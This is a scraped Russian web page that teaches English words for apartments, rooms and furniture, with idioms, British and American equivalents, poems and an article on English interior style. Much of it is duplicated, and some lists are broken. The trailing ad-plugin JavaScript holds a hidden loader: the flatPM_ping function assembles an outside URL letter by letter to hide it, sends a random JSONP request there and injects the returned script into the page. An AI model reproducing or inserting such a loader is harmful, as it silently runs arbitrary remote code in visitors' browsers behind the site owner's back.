9 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Интерьер перевод на английский

Квартира, комнаты и мебель на английском языке

1 Слова по теме: Квартира и комнаты (звук и транскрипция)

apartment – амер. квартира; apartment house – многоквартирный дом; penthouse apartment – пентхаус; studio apartment – ателье, мастерская; duplex apartment – амер. квартира, расположенная на двух этажах

room – комната; floor – пол; ceiling – потолок; wall – стена; window – окно; entrance (front door) – входная дверь; toilet – туалет

2 Слова по теме: Мебель (звук, транскрипция)

furniture – мебель; couch – диван, софа, кушетка; bed – кровать; double bed – двуспальная кровать; desk – письменный стол

wall(-)paper – обои; curtain – занавеска, штора; cushion – диванная подушка; blanket – одеяло

bath – ванна; shower cabin(et) – душевая кабина; sink – раковина; flush toilet – унитаз

3 Видеоролики на английском языке по теме: Комнаты и части дома

4 Песня на английском языке: Let’s Clean Up / Займемся уборкой!

5 Лексика по теме: комнаты дома и мебель (видео)

6 Названия предметов мебели и бытовой техники по-английски

7 Особенности употребления английских слов, обозначающих квартиру

Существительные, обозначающие место нахождения (apartment, flat, hall, house) употребляются при обозначении положения в ряду им подобных, как правило, с количественным числительным и без артикля. Числительное ставится после такого существительного. Эти существительные нередко пишутся с заглавной буквы: Room S, Apartment 20, Hall 5.

8 Квартира и мебель в английских идиомах

bachelor flat (apartment) – (досл. холостяцкая) однокомнатная квартира

hell’s kitchen – место, пользующееся дурной славой; криминальный квартал
soup kitchen – бесплатная столовая (где выдаётся суп беднякам и безработным)
thieves’ kitchen – воровской притон
everything and the kitchen sink – почти всё, нужное и ненужное

armchair critic – критик, слепо следующий какой-л. доктрине, догме

to be on the carpet – быть на обсуждении (о вопросе); to call smb. on the carpet – вызвать кого-либо на ковёр
to have somebody on the carpet – давать нагоняй кому-либо
to roll out the red carpet for somebody – оказать кому-либо тёплый приём
to sweep something under the carpet – стараться скрыть что-либо

chair days – старость
to take the chair – стать председателем собрания; открыть собрание
Chair! – К порядку!

cupboard love – корыстная любовь, привязанность (обычно у детей, когда они хотят что-либо получить от взрослых)

upon the table – публично обсуждаемый; общеизвестный
to lay on the table – полит. отложить обсуждение (законопроекта)
to turn the tables (up)on smb. – бить противника его же оружием; поменяться ролями
under the table – пьяный; секретно, тайно, подпольно

on the couch – жарг. находящийся на сеансе у психоаналитика; проходящий курс психоанализа

9 Игры, песни и истории: комнаты в квартире и мебель на английском языке (флеш)

Различия между британским и амерканским английским в названиях жилых помещений и мебели

Строения, квартиры, жильцы, агенты

• жилой массив – housing development (Am) – housing estate (Br)
• гостиница квартирного типа – apartment hotel (Am) – service flats (Br)
• спальный район, спальный пригород – bedroom (Am) – dormitory (Br)
• многоквартирный дом – apartment building / house (Am) – dwelling house, block of flats (Br)
• многоквартирный дом (в котором квартиры находятся в частном владении); квартира в таком доме – condominimum, condo (Am) – apartment (Br)
• квартира – apartment (Am) – flat (Br)
• однокомнатная квартира – studio (Am) – bed-sitter (Br)
• жилец, квартирант – roomer (Am) – lodger (Br)
• мебельный магазин – furniture store (Am) – furniture shop (Br)
• агент по продаже недвижимости – realtor (Am) – estate agent (Br)

• вестибюль, фойе – lobby, foyer (Am) – entrance hall, foyer (Br)
• коридор, прихожая – hallway (Am) – hall (Br)
• детский уголок – kidspace (Am) – children’s corner (Br)
• гостиная – living room (Am) – sitting room, lounge, drawing room (Br)
• комната отдыха – recriation room (Am) – restroom (Br)
• рабочий кабинет – den, study (Am) – home office (Br)
• туалет – bathroom, toilet, john, restroom (Am) – lavatory, battery (Br)
• чулан – lumber room (Am) – box room (Br)
• кладовая – pantry (Am) – larder(Br)

Мебель и прочее

• комод (для одежды) – bureau, dresser (Am) – chest of drawers (Br)
• шкаф, буфет – closet (Am) – cupboard (Br)
• диван – couch, davenport (Am) – sofa, settee (Br)
• раскладушка – cot (Am) – camp bed (Br)
• занавески (тюлевые) – sheers, underdrapes (Am) – net curtains (Br)
• шторы, жалюзи – (window) shades (Am) – blinds (Br)
• ванна – bathtub (Am) – bath (Br)
• кран (водопроводный ) – faucet (Am) – tap (Br)
• сточная труба – soil / sewer pipe (Am) – drain (Br)
• электрическая розетка – electric outlet (Am) – power point, socket (Br)
• лифт – elevator (Am) – lift (Br)

Из книги М. С. Евдокимова, Г. М. Шлеева «Краткий справочник американо-британских соответствий».

Игры и упражнения на тему: комнаты и мебель (на английском языке)

Английские стихи, в которых упоминаются части дома и мебель

I Never Want to Go to Bed
Kenn Nesbitt

I never want to go to bed.
I like to stay up late.
I’m bouncing off the bedroom walls
and, frankly, feeling great!

I’m dancing like a maniac
instead of counting sheep.
My mom says, «Time for bed.»
My dad yells, «Get your butt to sleep!»

I’m not sure what my bottom
has to do with anything,
but that’s okay because I’d rather
jump around and sing.

I don’t know what it was
that made me feel so wide awake.
Could it have been the Red Bull
and the double-chocolate cake?

I wonder if the seven cups
of coffee plus dessert
of Hershey bars and Skittles
are what left me this alert?

Whatever it turns out to be
that made me feel this right,
I hope I track it down
so I can stay up every. ZZZzzzzz

A home is made of many rooms
To rest, to sleep, to shower,
To play, and read, and talk a lot,
Do hobbies by the hour.

But the kitchen, ah, the kitchen
Is a room that’s made of dreams
Of fantasies. created by
A love of cooking schemes.

To touch, to smell, to visualize
The wonders that occur.
And then to taste, and then to taste
Results of things that were.

At one time just «ingredients,»
In their places on the shelves
But become a wondrous mixture
As though transformed by elves.

Yes, a home is made of many rooms.
Each one has it’s pleasures,
But the kitchen is the best of all
For finding hidden treasures.

Please remember – don’t forget.
Mabel Lucie Attwell

Please remember – Don’t forget!
Never leave the bathroom wet.
Nor leave the soap still in the water. –
That’s a thing we never ought’er! –
And as you’ve been so often told,
Never let the «hot» run «cold»;
Nor leave the towels upon the floor.
Nor keep the bath an hour or more –
When other folks are wanting one;
Just don’t forget – it isn’t done! –
An’ if you’d really do the things –
There’s not the slightest need to sing!

Дизайн интерьера в английском стиле

История появления

Английский стиль интерьера развивался на протяжении трех столетий . Он охватывает четыре поколения английских монархов: королеву Анну, королей Георга I и Георга II, и королеву Викторию.

Эпоха королевы Анны — это эпоха барокко . Роскошь и величие. Обилие орнамента, позолоты, вычурной мебели. Это стиль дворцов и резиденций.

Георг I и Георг II были немцами по происхождению. Георг I даже не говорил по английски. Именно они принесли в Англию то, что мы называем сейчас истинным английским стилем: практичность, жесткость и сдержанность. Их эпоха — это эпоха рококо и классицизма .

Век правления королевы Виктории стал веком викторианского стиля. Этот эклектичный стиль объединил готику , барокко и рококо с колониальным стилем. Развитие машинного производства сделали его доступным среднему классу.

В конце-концов все пришло к тому, что мы сейчас называем этническим английским стилем. Практичность и уют, сдержанность и состоятельность.

Особенности английского интерьера

Основная концепция английского стиля – идеальная жизнь в идеальном доме. Все, что окружает человека, должно быть уютным и практичным, но в тоже время добротным и солидным.

В понимании британцев это значит:

– обилие дерева (красное, орех и дуб), богато, но сдержанно декорированного;

–мягкую мебель: кресла, пуфы, диваны с закругленными формами;

– традиционные узоры: полоску, клетку, пейсли и цветы;

– и, конечно, камин

Кому подойдет английский стиль?

Английский стиль – стиль родового гнезда и уютного гнездышка. Он надежный, долговечный и спокойный.

Этот стиль бережно хранит фотографии членов семьи на каминной полке, а фамильный сервиз и коллекцию фарфоровых статуэток – за стеклянными дверцами шкафа.

Мягкое кресло у камина и звон напольных часов подойдут ценителям традиций и благородного уюта.

Базовые принципы английского стиля

Примеры английского интерьера мы уже разбирали тут . Поэтому пройдемся по базовым моментам, без которых английский стиль немыслим.

Комфорт — превыше всего. Мягкая мебель расставлена так, чтобы было удобно вести беседу, собравшись в гостиной.

Яркие акценты. Когда за окном серое небо и дожди, живые цвета так приятно радуют глаз.

Особенности планировки в английском стиле

Английский стиль можно воплотить в квартире. Исторически жилые комнаты в домах англичан были скромных размеров, чтобы их легче было прогреть зимой.

Между гостиной, столовой и кухней можно свободно перемещаться. Их разграничивает либо арка, либо дверь со стеклянными вставками.

А вот спальня и кабинет находятся за сплошной деревянной дверью.

Цветовая гамма интерьера в английском стиле

Цветовая палитра английского стиля содержит все оттенки благородного дерева, а также сдержанные оттенки бордового, зеленого и бежевого.

Оформление стен

При оформлении стен в английском стиле чаще используются однотонные обои. Допускается неброский узор или орнамент. При этом обои подбираются под мебель, оттенки и рисунки непременно сочетаются.

Отделка потолка

Потолки – однотонные, светлые, украшенные лепниной.

Отделка пола

Английский стиль подразумевает паркет в гостиной и спальне. Это может быть дуб или орех. Важно чтобы пол гармонировал с оформлением комнаты.

Коридор и кухня могут быть выложены плиткой.

Окна и двери

Двери в английском интерьере обычно из дерева, часто с витражными стеклянными вставками. Эта черта объясняется тем, что крупные стекла в былые времена были дорогим удовольствием.

Лестница в английском стиле

Лестница выполнена из дерева и украшена резьбой. Она непременно сочетается с панелями на стене, полами и дверьми.

Организация освещения

В эпоху Георга I появилась классическая английская люстра-корзинка. В ней минимум бронзы и максимум стекла.

Английская гостиная немыслима без элементов викторианской эпохи — торшера и настольных ламп.

Правильный подбор мебели

Мебель обладает округлыми и мягкими формами. Уместен пуфик для ног перед креслом.

Все предметы обихода убираются в шкаф. На виду только красивый сервиз и аксессуары.

Не забываем про ковер, привезенный из английских колоний.

Текстиль

Красной нитью через весь интерьер идет воспоминание о колониальном прошлом Англии. Экзотическим птицам и растениям самое место на шторах и подушках английской гостиной.

Аксессуары и декор

Классический английский декор это картины и гобелены на стенах, тысяча мелочей на каминной полке, подсвечники и вазы.

Наверное, вы посмотрели на все эти фото и подумали, что английские интерьеры слегка старомодные. Традиционный английский дом правда часто этим грешит. Зато уютнее и домашнее сложно что-то придумать. Британский дизайн не про впечатления и эпатаж, а про безграничное дуобство. Не зря Нина Кэмпбелл, гуру британского дизайна, говорит: «Английский дом – это когда на диван можно забраться с ногами».

Дом, названия комнат и предметов мебели на английском с переводом

Дом – милый дом! Как много в этой фразе. Мы проводим значительную часть жизни дома, будь это квартира или частный дом, поэтому эта тема чрезвычайно важна при изучении английского языка. Предполагаем, что вы уже знаете такие основные слова как window (окно), door (дверь), ceiling (потолок), floor (пол), wall (стена), roof (крыша), stairs (ступеньки). В статье мы рассмотрим виды домов, адрес с корпусом и квартирой, названия и описание комнат и помещений, включая основную мебель. Например, как будет стол или стул на английском, и другие примеры.

Как назвать адрес дома на английском

  • Ул. Ленина, 45, корпус 5, квартира 12
  • 45, Lenina str, building 5, ap.12

Дом, типы домов и жилья

Существует множество различных типов домов и помещений более или менее пригодных для жилья.

  • house – дом (общее название)
  • block of flats – многоэтажный дом (многоквартирный)
  • detached house – отдельный дом (отдельно стоящий)
  • private house – частный дом
  • semi detached house – дом на 2 семьи, со смежной стеной
  • apartment (в Британии – flat) – квартира
  • terraced house – дом рядовой застройки (несколько соединенных домов в ряд, с одинаковым фасадом)
  • cottage – коттедж (небольшой загородный дом)
  • bungalow – бунгало (небольшой одноэтажный домик, дача с верандой)
  • bedsit – студия (арендованная комната)
  • villa – вилла (большой загородный дом с территорией)
  • time share – дом или квартира на нескольких хозяев, с правом жить там в определенное время года.
  • campervan – дом на колесах
  • caravan – автоприцеп
  • nursing home – дом престарелых
  • orphanage – детский дом
  • white house – белый дом
  • tree house – дом на дереве
  • smart house – умный дом
  • tipee – типи, жилище некоторых индейцев
  • mobile house – перевозной дом
  • hut – хижина
  • castle/palace – замок/дворец
  • shopping mall – торговый дом, торговый центр

Названия комнат и помещения

В зависимости от размера дома, в нем могут быть отдельные комнаты или помещения, предназначенные для особых целей. Например, прачечная или комната для гостей.

  • bedroom – спальня
  • living room (в Британии – sitting room, в Австралии – lounge room) – зал, гостиная
  • bathroom – ванная комната
  • WC (restroom) – туалетная комната, туалет
  • kitchen – кухня
  • children’s room – детская комната
  • guest room – комната для гостей
  • laundry room – прачечная комната
  • hall – коридор
  • utility room – подсобное помещение
  • shed – сарай, навес (отдельное помещение для хранения инструментов)
  • loft – лофт (пространство под крышей, используемое для хранения чего-либо)
  • attic – чердак, мансарда (комната под крышей, где можно жить)
  • cellar – погреб, подвал (для хранения)
  • basement – цокольный этаж (с окнами, где можно жить или работать)
  • landing – лестничная площадка
  • porch – крыльцо, веранда
  • pantry – кладовая
  • terrace or patio – терраса или патио (открытая площадка для отдыха)
  • study – кабинет
  • balcony – балкон
  • secret room – тайная комната
  • ironing room – гладильная комната
  • gym – тренажерный зал

Предметы мебели по комнатам

Кухня (Kitchen)

Здесь мы рассматриваем основные предметы мебели на кухне. Для изучения кухонных принадлежностей, читайте нашу отдельную статью.

  • kitchen table – кухонный стол
  • dining table – обеденный стол
  • table leg – ножка стола
  • chair – стул
  • kitchen cupboard – шкафчик для посуды, кухонный шкаф
  • fitted kitchen – встроенная кухня, гарнитур
  • fr >

Спальня (Bedroom)

Спальня – это место прежде всего для отдыха. Однако, и письменный стол здесь также может находиться, если в доме нет отдельного кабинета для работы.

  • single bed – раздельная кровать (одноместная, односпальная)
  • double bed – двуспальная кровать
  • bunk bed – двухъярусная кровать (двухэтажная)
  • bed frame – каркас кровати
  • wardrobe – шкаф для одежды, платяной шкаф
  • chest of drawers – комод
  • drawer – ящик
  • closet – шкаф-купе
  • curtains – шторы
  • blinds – жалюзи
  • rug – коврик
  • lamp – лампа
  • beds >Ванная комната (Bathroom)

Основные элементы ванной комнаты.

  • toilet (loo) – туалет
  • shower – душ
  • bathtub – ванная
  • shower cubicle – душевая кабина
  • mirror – зеркало
  • cabinet – шкафчик для туалетных принадлежностей/лекарств
  • towel rail – полотенцесушитель
  • bath mat – резиновый коврик

Зал (Living room)

Место для отдыха всей семьи и гостей. Удобная мебель, книжный шкаф, коллекция посуды или сувениров на полках и кресло у камина.

  • sofa – диван
  • armchair – кресло
  • bean bag – кресло-мешок
  • cushions – подушки для дивана
  • carpet – ковер
  • coffee table – журнальный столик
  • round table – круглый стол
  • bookcase – книжный шкаф
  • shelf – полка
  • bookshelf – книжная полка
  • display cabinet – шкаф со стеклянными дверцами
  • fireplace – камин
  • central heating – центральное отопление

Квартира, комнаты и мебель на английском языке

1 Слова по теме: Квартира и комнаты (звук и транскрипция)

apartment – амер. квартира; apartment house – многоквартирный дом; penthouse apartment – пентхаус; studio apartment – ателье, мастерская; duplex apartment – амер. квартира, расположенная на двух этажах

room – комната; floor – пол; ceiling – потолок; wall – стена; window – окно; entrance (front door) – входная дверь; toilet – туалет

2 Слова по теме: Мебель (звук, транскрипция)

furniture – мебель; couch – диван, софа, кушетка; bed – кровать; double bed – двуспальная кровать; desk – письменный стол

wall(-)paper – обои; curtain – занавеска, штора; cushion – диванная подушка; blanket – одеяло

bath – ванна; shower cabin(et) – душевая кабина; sink – раковина; flush toilet – унитаз

3 Видеоролики на английском языке по теме: Комнаты и части дома

4 Песня на английском языке: Let’s Clean Up / Займемся уборкой!

5 Лексика по теме: комнаты дома и мебель (видео)

6 Названия предметов мебели и бытовой техники по-английски

7 Особенности употребления английских слов, обозначающих квартиру

Существительные, обозначающие место нахождения (apartment, flat, hall, house) употребляются при обозначении положения в ряду им подобных, как правило, с количественным числительным и без артикля. Числительное ставится после такого существительного. Эти существительные нередко пишутся с заглавной буквы: Room S, Apartment 20, Hall 5.

8 Квартира и мебель в английских идиомах

bachelor flat (apartment) – (досл. холостяцкая) однокомнатная квартира

hell’s kitchen – место, пользующееся дурной славой; криминальный квартал
soup kitchen – бесплатная столовая (где выдаётся суп беднякам и безработным)
thieves’ kitchen – воровской притон
everything and the kitchen sink – почти всё, нужное и ненужное

armchair critic – критик, слепо следующий какой-л. доктрине, догме

to be on the carpet – быть на обсуждении (о вопросе); to call smb. on the carpet – вызвать кого-либо на ковёр
to have somebody on the carpet – давать нагоняй кому-либо
to roll out the red carpet for somebody – оказать кому-либо тёплый приём
to sweep something under the carpet – стараться скрыть что-либо

chair days – старость
to take the chair – стать председателем собрания; открыть собрание
Chair! – К порядку!

cupboard love – корыстная любовь, привязанность (обычно у детей, когда они хотят что-либо получить от взрослых)

upon the table – публично обсуждаемый; общеизвестный
to lay on the table – полит. отложить обсуждение (законопроекта)
to turn the tables (up)on smb. – бить противника его же оружием; поменяться ролями
under the table – пьяный; секретно, тайно, подпольно

on the couch – жарг. находящийся на сеансе у психоаналитика; проходящий курс психоанализа

9 Игры, песни и истории: комнаты в квартире и мебель на английском языке (флеш)

Различия между британским и амерканским английским в названиях жилых помещений и мебели

Строения, квартиры, жильцы, агенты

• жилой массив – housing development (Am) – housing estate (Br)
• гостиница квартирного типа – apartment hotel (Am) – service flats (Br)
• спальный район, спальный пригород – bedroom (Am) – dormitory (Br)
• многоквартирный дом – apartment building / house (Am) – dwelling house, block of flats (Br)
• многоквартирный дом (в котором квартиры находятся в частном владении); квартира в таком доме – condominimum, condo (Am) – apartment (Br)
• квартира – apartment (Am) – flat (Br)
• однокомнатная квартира – studio (Am) – bed-sitter (Br)
• жилец, квартирант – roomer (Am) – lodger (Br)
• мебельный магазин – furniture store (Am) – furniture shop (Br)
• агент по продаже недвижимости – realtor (Am) – estate agent (Br)

• вестибюль, фойе – lobby, foyer (Am) – entrance hall, foyer (Br)
• коридор, прихожая – hallway (Am) – hall (Br)
• детский уголок – kidspace (Am) – children’s corner (Br)
• гостиная – living room (Am) – sitting room, lounge, drawing room (Br)
• комната отдыха – recriation room (Am) – restroom (Br)
• рабочий кабинет – den, study (Am) – home office (Br)
• туалет – bathroom, toilet, john, restroom (Am) – lavatory, battery (Br)
• чулан – lumber room (Am) – box room (Br)
• кладовая – pantry (Am) – larder(Br)

Мебель и прочее

• комод (для одежды) – bureau, dresser (Am) – chest of drawers (Br)
• шкаф, буфет – closet (Am) – cupboard (Br)
• диван – couch, davenport (Am) – sofa, settee (Br)
• раскладушка – cot (Am) – camp bed (Br)
• занавески (тюлевые) – sheers, underdrapes (Am) – net curtains (Br)
• шторы, жалюзи – (window) shades (Am) – blinds (Br)
• ванна – bathtub (Am) – bath (Br)
• кран (водопроводный ) – faucet (Am) – tap (Br)
• сточная труба – soil / sewer pipe (Am) – drain (Br)
• электрическая розетка – electric outlet (Am) – power point, socket (Br)
• лифт – elevator (Am) – lift (Br)

Из книги М. С. Евдокимова, Г. М. Шлеева «Краткий справочник американо-британских соответствий».

Игры и упражнения на тему: комнаты и мебель (на английском языке)

Английские стихи, в которых упоминаются части дома и мебель

I Never Want to Go to Bed
Kenn Nesbitt

I never want to go to bed.
I like to stay up late.
I’m bouncing off the bedroom walls
and, frankly, feeling great!

I’m dancing like a maniac
instead of counting sheep.
My mom says, «Time for bed.»
My dad yells, «Get your butt to sleep!»

I’m not sure what my bottom
has to do with anything,
but that’s okay because I’d rather
jump around and sing.

I don’t know what it was
that made me feel so wide awake.
Could it have been the Red Bull
and the double-chocolate cake?

I wonder if the seven cups
of coffee plus dessert
of Hershey bars and Skittles
are what left me this alert?

Whatever it turns out to be
that made me feel this right,
I hope I track it down
so I can stay up every. ZZZzzzzz

A home is made of many rooms
To rest, to sleep, to shower,
To play, and read, and talk a lot,
Do hobbies by the hour.

But the kitchen, ah, the kitchen
Is a room that’s made of dreams
Of fantasies. created by
A love of cooking schemes.

To touch, to smell, to visualize
The wonders that occur.
And then to taste, and then to taste
Results of things that were.

At one time just «ingredients,»
In their places on the shelves
But become a wondrous mixture
As though transformed by elves.

Yes, a home is made of many rooms.
Each one has it’s pleasures,
But the kitchen is the best of all
For finding hidden treasures.

Please remember – don’t forget.
Mabel Lucie Attwell

Please remember – Don’t forget!
Never leave the bathroom wet.
Nor leave the soap still in the water. –
That’s a thing we never ought’er! –
And as you’ve been so often told,
Never let the «hot» run «cold»;
Nor leave the towels upon the floor.
Nor keep the bath an hour or more –
When other folks are wanting one;
Just don’t forget – it isn’t done! –
An’ if you’d really do the things –
There’s not the slightest need to sing!

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};
Яндекс.Метрика